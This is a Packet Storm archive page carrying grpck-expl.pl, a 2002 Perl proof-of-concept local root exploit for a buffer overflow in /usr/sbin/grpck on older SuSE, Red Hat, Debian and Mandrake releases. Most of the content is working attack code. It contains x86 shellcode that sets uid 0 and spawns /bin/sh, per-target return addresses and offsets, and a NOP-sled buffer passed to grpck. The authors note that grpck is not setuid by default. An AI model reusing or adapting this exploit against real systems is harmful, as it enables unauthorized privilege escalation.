exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

grpck-expl.pl

grpck-expl.pl
Posted Nov 19, 2002
Authored by Black Rose | Site uhagr.org

/usr/sbin/grpck proof of concept local exploit. Not setuid by default. Tested on SuSE, Red Hat, Debian, and Mandrake.

tags | exploit, local, proof of concept
systems | linux, redhat, suse, debian, mandrake
SHA-256 | 71bfe6e2e647879dfcd24d8f56b296965f537cb2bd0c0b575f192e247aeefcfd

grpck-expl.pl

Change Mirror Download
Hi packetstorm dudez!

--- start here ---
#!/usr/bin/perl

# www.uhagr.org - ghostian@linuxmail.gr

# This is only a Proof of concept.
# /usr/sbin/grpck is not suid root by default.

# castle:~ # /usr/sbin/grpck `perl -e 'print "X"x2900'`
# Segmentation fault
# castle:~ #

my $usage = <<x;

[ uhagr team -ghostian -extraneous ]
-- grpck Local r00t exploit --

Usage: ./grpck-expl.pl <target>
Example: ./grpck-expl.pl 1

TARGETS:
[ 1 ] SuSE Linux 7.2
[ 2 ] RedHat Linux 8.0
[ 3 ] RedHat Linux 7.3
[ 4 ] RedHat Linux 7.2
[ 5 ] Debian Linux 2.2
[ 6 ] Mandrake Linux 8.2
x

$target = ($ARGV[0]);

$shellcode =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" .
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

if (!$target) { print "$usage\n"; exit; }

if ($target eq '1') {
$ret = 0xbfffe514;
$offset = 940;
$buf = 2900;
$egg = 2000;
$nop = "\x90";
print "\n Target: SuSE Linux 7.2\n";
}

if ($target eq '2' ) {
$ret = 0xbfffe5bc;
$offset = 851;
$buf = 2900;
$egg = 2000;
$nop = "\x90";
print "\n Target: RedHat Linux 8.0\n";
}

if ($target eq '3' ) {
$ret = 0xbfffef94;
$offset = 1812;
$buf = 2900;
$egg = 2000;
$nop = "\x90";
print "\n Target: RedHat Linux 7.3\n";
}

if ($target eq '4' ) {
$ret = 0xbfffe73c;
$offset = 645;
$buf = 2900;
$egg = 2000;
$nop = "\x90";
print "\n Target: RedHat Linux 7.2\n";
}

if ($target eq '5' ) {
$ret = 0xbfffe934;
$offset = 1541;
$buf = 2900;
$egg = 2000;
$nop = "\x90";
print "\n Target: Debian Linux 3.0r0\n";
}

if ($target eq '6' ) {
$ret = 0xbffff0ae;
$offset = 1859;
$buf = 2900;
$egg = 2000;
$nop = "\x90";
print "\n Target: Mandrake Linux 8.2\n";
}


$addr = pack('l', ($ret + $offset));
for ($i = 0; $i < $buf; $i += 4) {
$buffer .= $addr;
}

for ($i = 0; $i < ($egg - length($shellcode) - 100); $i++) {
$buffer .= $nop;
}

$buffer .= $shellcode;
print "r00t?\n";
exec("/usr/sbin/grpck", $buffer,0);

# Have a nice night ;]
--- cut here ---

Thanks!
The uhagr team

_____________________________________________________________
Sign up for FREE email from LinuxMail.gr at http://www.linuxmail.gr
Powered by LinuxFreaks.gr

_____________________________________________________________
Select your own custom email address for FREE! Get you@yourchoice.com w/No Ads, 6MB, POP & more! http://www.everyone.net/selectmail?campaign=tag
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close